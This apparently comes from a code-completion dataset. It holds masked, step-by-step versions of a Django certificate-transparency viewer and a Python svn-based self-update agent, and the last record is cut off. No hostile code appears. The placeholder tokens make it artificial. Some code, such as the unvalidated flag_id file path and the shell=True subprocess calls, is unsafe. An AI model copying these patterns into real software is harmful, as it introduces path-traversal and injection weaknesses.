'observer/imprint.html')\n\n\ndef issues(request):\n return render(request, 'observer/issues.html')\n\n\ndef status(request):\n status = {'analyzer': {'lastrun': 0}, 'monitor': {'lastrun': 0}, 'msg':\n 'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status\n ['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = 'Could not load status file.' + str(e)\n return render(request, 'observer/status.html', {'status': status})\n\n\n<mask token>\n", "step-5": "from django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom django.db.models import Count\nfrom django.db.models import QuerySet\nfrom django.db import connection\nfrom django.core.paginator import Paginator, PageNotAnInteger\nfrom django.http import HttpResponse\nfrom django.http import HttpResponsePermanentRedirect\nimport datetime\nimport os\nimport json\nfrom ctobservatory.settings import BASE_DIR\nfrom .models import *\nfrom notification.forms import SubscribeUnsubscribeForm\n#from .issuefinder import *\nimport observer.issuefinder as issuefinder\nfrom django.template.defaulttags import register\nimport hashlib\nimport psycopg2\nITEMS_PER_PAGE = 50\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\nclass FastCountQuerySet():\n def __init__(self, queryset, tablename):\n self.queryset = queryset\n self.tablename = tablename\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute(\"SELECT reltuples FROM pg_class WHERE relname = %s\", [self.tablename])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n # passthrough all the other methods\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n \n def __getitem__(self, item):\n return self.queryset[item]\n\nclass MetadataCountQuerySet():\n def __init__(self, queryset, propertyname):\n self.queryset = queryset\n self.propertyname = propertyname\n\n def count(self):\n cursor = connection.cursor()\n cursor.execute(\"SELECT name_value FROM metadata WHERE name_type = %s\", [self.propertyname])\n row = cursor.fetchone()\n count = int(row[0])\n cursor.close()\n return count\n\n # passthrough all the other methods\n def __getattr__(self, attr):\n try:\n return object.__getattr__(self, attr)\n except AttributeError:\n return getattr(self.queryset, attr)\n \n def __getitem__(self, key):\n return self.queryset[key]\n \n\n\ndef index(request):\n metadata = {}\n expired_certs = 0\n active_certs = 0\n total_certs = 0\n total_cas = 0\n \n messages = []\n if('subok' in request.GET):\n messages.append({'class':'alert-info','text':'Subscription request - We sent you a confirmation link via email. Click it, and you should be all set.'})\n if('unsubok' in request.GET):\n messages.append({'class':'alert-info','text':'Unsubscription request - We sent you a confirmation link via email. sClick it, and you should be all set.'})\n \n subscribeform = SubscribeUnsubscribeForm()\n \n with connection.cursor() as c:\n c.execute(\"SELECT NAME_TYPE, NAME_VALUE FROM metadata\")\n rows = c.fetchall()\n for row in rows:\n metadata[row[0]] = row[1]\n\n return render(request, 'observer/index.html',\n {\n 'total_certs': metadata['number_of_certs'],\n 'total_ca': metadata['number_of_cas'],\n 'total_logs': CtLog.objects.count(),\n 'active_certs': metadata['number_of_active_certs'],\n 'expired_certs': metadata['number_of_expired_certs'],\n 'revoked_certs': metadata['number_of_revoked_certs'],\n 'misissued_certs': metadata['number_of_misissued_certs'],\n 'behaving_cas' : metadata['number_of_correctly_behaving_cas'],\n 'interesting_cas' : metadata['number_of_interesting_cas'],\n 'biggest_log' : metadata['number_of_certs_in_biggest_log'],\n 'biggest_log_name' : CtLog.objects.get(id=metadata['biggest_log_id']).name,\n 'smallest_log' : metadata['number_of_certs_in_smallest_log'],\n 'uptime_days': (timezone.now().date()-datetime.date(2015,10,14)).days, #TODO\n 'messages' : messages,\n 'subscribeform' : subscribeform\n }\n )\n\ndef search(request):\n term = request.GET.get(\"term\",\"\")\n\n #found_ca = Ca.objects.filter(name__icontains=term)\n #found_cn_dnsname = Certificate.objects.raw(\"SELECT DISTINCT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, x509_notBefore(CERTIFICATE) FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE (NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s))) OR (NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE)) LIKE reverse(lower(%s)))\n #ORDER BY x509_notBefore(CERTIFICATE) DESC\", [term, term])\n\n return render(request, 'observer/search.html',\n {\n 'term' : term\n #'found_ca' : found_ca,\n #'found_cn_dnsname' : found_cn_dnsname\n }\n )\n\ndef caall(request, page=None): #VIEW FOR CAs\n \n if(page==None):\n return HttpResponsePermanentRedirect(\"all/1\")\n \n\n page = int(page)\n\n list_of_certs = []\n \n filtered_qs = CaFilter(\n request.GET, \n queryset=Ca.objects.all().order_by('common_name')\n )\n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n return render(request, 'observer/cas.html',\n {\n 'list_of_ca': list_of_certs, \n 'filter': filtered_qs#Ca.objects.annotate(num_certs=Count('certificate')).order_by('-num_certs'),\n }\n )\n\ndef certall(request, page=None, ae=None, issuer_ca=None): #VIEW FOR Certificates->ALL\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"all/1\")\n\n ae = request.GET.get(\"algorithm\")\n issuer_ca = request.GET.get(\"issuer_ca\")\n date_notbefore = request.GET.get(\"date_notbefore\")\n date_notbefore_gte = request.GET.get(\"date_notbefore_gte\")\n is_active = request.GET.get(\"is_active\")\n date_notafter = request.GET.get(\"date_notafter\")\n date_notafter_lte = request.GET.get(\"date_notafter_lte\")\n \n page = int(page)\n\n list_of_certs = []\n\n \n\n filtered_qs = CertFilter(\n request.GET, \n queryset=MetadataCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate')\n )\n \n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n\n \n #Alternative filter solution for better performance\n #https://localhost/cert/all/1?issuer_ca=merge&date_notbefore=&date_notbefore_gte=&is_active=&date_notafter=&date_notafter_lte=\n \n query = FastCountQuerySet(Certificate.objects.all().order_by('-id'), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active == \"1\" or is_active == \"\" or is_active == None):\n if(issuer_ca != None and (is_active == None or is_active == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and (issuer_ca == None or issuer_ca == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'certificate')\n \n if(issuer_ca == \"\" and is_active == \"\"):\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and issuer_ca != None ): \n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains = issuer_ca,\n not_before__lte=timezone.now(), not_after__gte=timezone.now(), ), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active == \"0\" or is_active == \"\" or is_active == None):\n if(issuer_ca != None and (is_active == None or is_active == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(issuer_ca__common_name__contains = issuer_ca), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and (issuer_ca == None or issuer_ca == \"\")):\n query = FastCountQuerySet(Certificate.objects.filter(not_after__lte=datetime.date.today()), 'certificate')\n \n if(issuer_ca == \"\" and is_active == \"\"):\n query = FastCountQuerySet(Certificate.objects.all(), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n if(is_active != None and issuer_ca != None ): \n query = FastCountQuerySet(Certificate.objects.filter(\n issuer_ca__common_name__contains = issuer_ca,\n not_after__lte=datetime.date.today() ), 'certificate')\n paginator = Paginator(query, ITEMS_PER_PAGE)\n \n \n ####################################################\n \n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n #if(ae != None):\n #list_of_certs = Certificate.objects.raw(\"SELECT * FROM certificate WHERE SIGNATURE_ALGORITHM=%s\", [ae])\n \n \n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs, \n 'filter': filtered_qs\n }\n )\n\ndef certactive(request, page=None):\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"active/1\")\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_before__lte=timezone.now(), not_after__gte=timezone.now()), 'number_of_active_certs'), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\n\ndef certexpired(request, page=None, order=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"expired/1\")\n\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(MetadataCountQuerySet(Certificate.objects.filter(not_after__lt=timezone.now()), 'number_of_expired_certs'), ITEMS_PER_PAGE)\n# paginator = Paginator(Certificate.objects.filter(not_after__lt=timezone.now()), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\ndef certrevoked(request, page=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"revoked/1\")\n\n page = int(page)\n\n list_of_certs = []\n\n paginator = Paginator(Certificate.objects.filter(id__in=RevokedCertificate.objects.all().values('certificate')), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_certs = paginator.page(page)\n\n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs\n }\n )\n\ndef certs_by_log(request, log_id, page=None):\n if(page==None):\n return HttpResponsePermanentRedirect(\"./1\")\n\n page = int(page)\n log_id = int(log_id)\n \n list_of_certs = []\n \n paginator = Paginator(CtLogEntry.objects.filter(ct_log=log_id), ITEMS_PER_PAGE)\n if(page in paginator.page_range):\n list_of_entries = paginator.page(page)\n \n\n return render(request, 'observer/log_certs.html',\n {\n 'log': get_object_or_404(CtLog, pk=log_id),\n 'list_of_entries' : list_of_entries\n }\n )\n\ndef certs_by_ca(request, ca_id, page=None):\n\n if(page==None):\n return HttpResponsePermanentRedirect(\"certificates/1\")\n\n page = int(page)\n ca_id = int(ca_id)\n\n list_of_certs = []\n \n \n \n filtered_qs = CertFilter(\n request.GET, \n queryset=Certificate.objects.filter(issuer_ca=ca_id)\n )\n\n paginator = Paginator(filtered_qs.qs, ITEMS_PER_PAGE)\n page = request.GET.get('page')\n\n try:\n list_of_certs = paginator.page(page)\n except PageNotAnInteger:\n list_of_certs = paginator.page(1)\n \n \n return render(request, 'observer/certs.html',\n {\n 'list_of_certs': list_of_certs, \n 'filter': filtered_qs\n })\n \n \n\n# paginator = Paginator(Certificate.objects.filter(issuer_ca=ca_id), ITEMS_PER_PAGE)\n# if(page in paginator.page_range):\n# list_of_certs = paginator.page(page)\n\n# return render(request, 'observer/certs.html',\n# {\n# 'list_of_certs': list_of_certs\n# }\n# )\n\ndef list_cn_certs(request, cn):\n\n field_id = 'common name'\n expression = cn\n\n list_of_certs = Certificate.objects.raw(\"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='commonName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\", [cn])\n #list_of_certs = Certificate.objects.filter(certificate__common_name=cn).order_by('not_before')\n \n \n issues = issuefinder.get_all_issues(list(list_of_certs))\n #issues = issuefinder.get_first_certificates(list_of_certs)\n\n return render(request, 'observer/history.html',\n {\n 'field_id': field_id,\n 'expression': expression,\n 'list_of_certs': list_of_certs,\n 'issues':issues\n }\n )\n\ndef list_dnsname_certs(request, dnsname):\n\n field_id = 'dnsname'\n expression = dnsname\n\n list_of_certs = Certificate.objects.raw(\"SELECT c.ID, c.CERTIFICATE, c.ISSUER_CA_ID, c.SERIAL, c.SHA256, c.NOT_BEFORE, c.NOT_AFTER FROM certificate_identity AS ci JOIN certificate AS c ON ci.CERTIFICATE_ID=c.ID WHERE NAME_TYPE='dNSName' AND reverse(lower(NAME_VALUE))=reverse(lower(%s)) ORDER BY c.NOT_BEFORE ASC\", [dnsname])\n \n issues = issuefinder.get_all_issues(list(list_of_certs))\n \n return render(request, 'observer/history.html',\n {\n 'field_id': field_id,\n 'expression': expression,\n 'list_of_certs': list_of_certs,\n 'issues':issues\n }\n )\n\ndef log(request): #LOG VIEW\n return render(request, 'observer/logs.html',\n {\n #'list_of_logs': CtLog.objects.all().annotate(entries=Count('ctlogentry')).order_by('latest_entry_id')\n 'list_of_logs': CtLog.objects.all().order_by('-is_active','-latest_entry_id','name')\n }\n )\n\ndef cadetail(request,ca_id):\n ca = get_object_or_404(Ca, pk=ca_id)\n \n #counting number of issued CA's:\n number_of_issued_ca = Certificate.objects.filter(issuer_ca=ca_id).count()\n \n return render(request, 'observer/cadetail.html', { 'ca' : ca, 'number_of_issued_ca': number_of_issued_ca})\n\n\ndef certdetail(request,cert_id=None,cert_sha256=None):\n if cert_sha256:\n cert_sha256_bin = cert_sha256.decode('hex') #Does not work on python3\n cert = get_object_or_404(Certificate, certificate__sha256=cert_sha256_bin)\n if cert_id:\n cert = get_object_or_404(Certificate, pk=cert_id)\n cacert = CaCertificate.objects.filter(certificate_id=cert_id).first()\n digest_sha256 = str(cert.get_digest_sha256()).replace(':','').lower()[2:-1]\n\n #TODO\n #Certificate.objects.raw(\"select (select count(*) from certificate WHERE x509_keySize(certificate) = %s)*100/cast(COUNT(*) as float) as percentage, 0 as id FROM certificate;\",\n #[cert.get_x509_data().get_pubkey().bits()])\n\n #return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': round(keysize_distribution[0].percentage,2)})\n return render(request, 'observer/certdetail.html', { 'certificate' : cert, 'ca_certificate' : cacert, 'keysize_distribution': 'TODO', 'digest_sha256':digest_sha256})\n\ndef certraw(request,cert_id):\n cert = get_object_or_404(Certificate, pk=cert_id)\n \n response = HttpResponse(cert.certificate, content_type='application/octet-stream')\n response['Content-Disposition'] = 'attachment; filename=\"certificate_{}.crt'.format(cert_id)\n return response\n\ndef logdetail(request,log_id):\n log = get_object_or_404(CtLog, pk=log_id)\n \n number_of_issued_ca = CtLogEntry.objects.filter(ct_log=log_id).count()\n return render(request, 'observer/logdetail.html', { 'log' : log, 'number_of_issued_ca' : number_of_issued_ca})\n\ndef flag(request, flag_id):\n try:\n with open(os.path.join(BASE_DIR, \"static/flags/png/{0}.png\".format(flag_id.lower())), \"rb\") as f:\n return HttpResponse(f.read(), content_type=\"image/png\")\n except IOError:\n with open(os.path.join(BASE_DIR, \"static/flags/png/-.png\"), \"rb\") as f:\n return HttpResponse(f.read(), content_type=\"image/png\")\n\ndef imprint(request):\n return render(request, 'observer/imprint.html')\n \ndef issues(request):\n return render(request, 'observer/issues.html')\n \ndef status(request):\n status = {'analyzer':{'lastrun':0}, 'monitor':{'lastrun':0}, 'msg':'ok'}\n try:\n with open('/static/data/status.json', 'r') as f:\n status = json.load(f)\n \n status['analyzer']['lastrun'] = datetime.datetime.fromtimestamp(status['analyzer']['lastrun'])\n status['monitor']['lastrun'] = datetime.datetime.fromtimestamp(status['monitor']['lastrun'])\n except Exception as e:\n status['msg'] = \"Could not load status file.\"+str(e)\n \n \n return render(request, 'observer/status.html', {'status':status})\n\n\ndef certcheck(request):\n \n if request.method == 'POST':\n \n serial_post = request.POST['serial']\n \n sqlQuery = \"\"\"SELECT id FROM certificate WHERE serial=%s\"\"\"\n sqlQuery_commonName = \"\"\"SELECT * FROM ca WHERE \"\"\"\n \n \n current_time = str(datetime.datetime.now())\n \n serial_int = int(serial_post, 16)\n serial = serial_int.to_bytes((serial_int.bit_length() + 15) // 8, 'big', signed=True) or b'\\0'\n sqlData = (psycopg2.Binary(serial),)\n \n found_serial = Certificate.objects.raw(sqlQuery, sqlData)\n \n if(found_serial):\n return HttpResponse(found_serial)\n else:\n return HttpResponse(\"none\")\n \n\n return render(request, 'observer/checkserial.html', {})\n", "step-ids": [ 25, 26, 28, 29, 35 ] }

[ 25, 26, 28, 29, 35 ]

<|reserved_special_token_0|> class GregerUpdateAgent(Thread): <|reserved_special_token_0|> <|reserved_special_token_0|> @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord <|reserved_special_token_0|> def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <|reserved_special_token_1|> <|reserved_special_token_0|> class GregerUpdateAgent(Thread): <|reserved_special_token_0|> <|reserved_special_token_0|> @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Getting local revision record...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to get record from file...') try: with open(revisionRecordPath, 'r') as f: localRecord = f.read() localLog.debug('Local revision record: ' + str(localRecord)) except Exception as e: self.log.warning('Failed to open file! - ' + str(e)) self.localRevisionRecord = 0 localRecord = self.localRevisionRecord return localRecord @localRevisionRecord.setter def localRevisionRecord(self, newRevision): """ Set local revision record (.gcm) """ localLog = logging.getLogger(self.logPath + '.localRevisionRecord') localLog.debug('Setting local revision record (.gcm) to ' + str( newRevision) + '...') revisionRecordPath = self.localRevisionRecordPath localLog.debug('Attemption to write "' + str(newRevision) + '" to file...') with open(revisionRecordPath, 'w') as f: f.write(str(newRevision)) self.log.info('Local revision record set: ' + str(newRevision)) def getSoftwareInfo(self, rev='HEAD'): """ Retrieve information about a revision available on server. """ localLog = logging.getLogger(self.logPath + '.getSoftwareInfo') localLog.debug('Attempting to retrieve software revision info...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return moduleReturn = {'revision': '', 'revision_SHA': '', 'revision_author': '', 'revision_date': '', 'revision_comment': ''} localLog.debug('Attempting to retrieve info from server... ' + guaSWServerURI) pCmd = 'svn proplist -v -R --revprop -r ' + rev pCmd += ' ' + guaSWServerURI localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() outputList = output.splitlines()[1:] outputList = [elem.strip() for elem in outputList] revStr = output.splitlines()[0] revStr = revStr.split()[-1] moduleReturn['revision'] = revStr[:-1] localLog.debug('Revision: ' + revStr[:-1]) shaStr = outputList[outputList.index('git-commit') + 1] moduleReturn['revision_SHA'] = shaStr localLog.debug('Revision SHA: ' + shaStr) authorStr = outputList[outputList.index('svn:author') + 1] moduleReturn['revision_author'] = authorStr localLog.debug('Revision author: ' + authorStr) dateStr = outputList[outputList.index('svn:date') + 1] moduleReturn['revision_date'] = dateStr localLog.debug('Revision date: ' + dateStr) commentStr = outputList[outputList.index('svn:log') + 1].strip() moduleReturn['revision_comment'] = commentStr localLog.debug('Revision Comment: ' + commentStr) if err is not None: localLog.debug('Error message: ' + str(err)) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) return moduleReturn def updateSoftware(self, swRev='HEAD'): """ Get and updating software from server """ localLog = logging.getLogger(self.logPath + '.updateSoftware') localLog.debug('Getting software revision ' + str(swRev) + ' from server and updating local client...') localLog.debug('Constructing target path for new software...') targetRoot = self._location targetDir = 'gcm' targetPath = os.path.join(targetRoot, targetDir) localLog.debug('Target path: ' + targetPath) localLog.debug('Retrieving relevant parameters from server...') if 'guaSWSource' in GregerDatabase.settings: guaSWServerURI = GregerDatabase.settings['guaSWSource']['value'] localLog.debug('Parameter: (guaSWSource) ' + guaSWServerURI) else: self.log.warning('Setting ' + str(guaSWSource) + ' not defined!') return localLog.debug('Getting software files from server...') pCmd = 'svn export --force -r ' + str(swRev) pCmd += ' ' + guaSWServerURI pCmd += ' ' + targetPath localLog.debug(pCmd) try: p = subprocess.Popen(pCmd, stdout=subprocess.PIPE, shell=True) output, err = p.communicate() if err is not None: self.log.warning('Error message: ' + str(err)) else: self.log.info('Download successful!') for line in output.splitlines(): self.log.info(line) except Exception as e: self.log.error('Oops! Something went wrong - ' + str(e)) localLog.debug('Reading downloaded revision from "' + output. splitlines()[-1] + '"...') revText = output.splitlines()[-1].split()[-1][:-1] localLog.debug('Downloaded Revision: ' + revText) self.localRevisionRecord = revText localLog.debug('Listing downloaded files...') downloadedFiles = [] for row in output.splitlines()[:-1]: file = os.path.join(targetRoot, [t.strip() for t in row.split()][1] ) downloadedFiles.append(file) localLog.debug('File: ' + file) self.log.debug('Getting all files in local directory (after update)...' ) allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) localLog.debug('File: ' + allFiles[-1]) for dir in d: allFiles.append(os.path.join(r, dir)) localLog.debug('Dir: ' + allFiles[-1]) self.log.info( 'Identifying old files to remove (<new_files> - <all_files>)...') diffFiles = list(set(allFiles) - set(downloadedFiles)) for file in diffFiles: self.log.info('Removing: ' + file) try: if os.path.isfile(file): os.unlink(file) elif os.path.isdir(file): shutil.rmtree(file) except Exception as e: self.log.warning('Oops! Something went wrong! - ' + str(e)) self.log.debug('Re-getting all files in local directory...') allFiles = [] for r, d, f in os.walk(targetPath): for file in f: allFiles.append(os.path.join(r, file)) self.log.debug('File: ' + os.path.join(r, file)) for dir in d: allFiles.append(os.path.join(r, dir)) self.log.debug('Dir: ' + os.path.join(r, file)) def run(self): """ Run Greger Update Agent. """ localLog = logging.getLogger(self.logPath + '.run') self.log.info('Starting Greger Update Agent (GUA)...') localLog.debug('Wait for Greger Client Module to start...') self.ready.wait() allThreads = {} for thr in enumerate(): localLog.debug(thr.name + ' ' + thr.__class__.__name__ + ' active!' ) allThreads.update({thr.__class__.__name__: thr}) if thr.__class__.__name__ == 'GregerClientModule': localLog.debug('Greger Client Module thread found! ' + allThreads['GregerClientModule'].name) loopCount = 0 while not self.stopExecution.is_set(): loopCount += 1 localLog.debug('Checking for updates (' + str(loopCount) + ')...') localLog.debug('Getting local revision record...') localRevision = self.localRevisionRecord localLog.debug('Getting latest software info...') softwareInfo = self.getSoftwareInfo() self.log.info('Revision check done! (' + str(localRevision) + ')') if int(localRevision) == int(softwareInfo['revision']): self.log.info('No new revision found.') else: self.log.info('New revision found!') localLog.debug('Attempting to update software...') self.updateSoftware() localLog.debug( 'Attempting to update server with software info...') allThreads['GregerDatabase'].update('about', softwareInfo) self.log.info( 'Attempting to stop all exection before restarting...') allThreads['GregerClientModule'].stopAll(GUA=True) self.log.info('Attemption to restart application...') restart_program() if 'guaCheckUpdateDelay' in GregerDatabase.settings: delayTime = GregerDatabase.settings['guaCheckUpdateDelay'][ 'value'] else: delayTime = 10 self.log.warning('Settings not defined! (using default=10)') self.log.info('Waiting ' + str(delayTime) + 's...') self.stopExecution.wait(delayTime) self.log.info('Greger Update Agent (GUA) execution stopped!') <|reserved_special_token_1|> <|reserved_special_token_0|> class GregerUpdateAgent(Thread): <|reserved_special_token_0|> def __init__(self, ready=None): """ Initialize the main class """ Thread.__init__(self) self.ready = ready self.logPath = 'root.GUA' self.log = logging.getLogger(self.logPath) localLog = logging.getLogger(self.logPath + '.__init__') localLog.debug('Initiating Greger Update Agent (GUA)...') self.stopExecution = Event() self._location = os.path.abspath(__file__) self._location = self._location[:-15] localLog.debug('Local path: ' + self._location) localLog.debug('Getting configuration parameters from file...') config = getLocalConfig() self.localRevisionRecordPath = config.get('greger_update_agent', 'local_revision_path') localLog.debug('Parameter: (localRevisionRecordPath) ' + self. localRevisionRecordPath) self.log.info('Greger Update Agent (GUA) successfully initiated!') @property def localRevisionRecord(self): """ Get local revision record (.gcm) """ localLog = 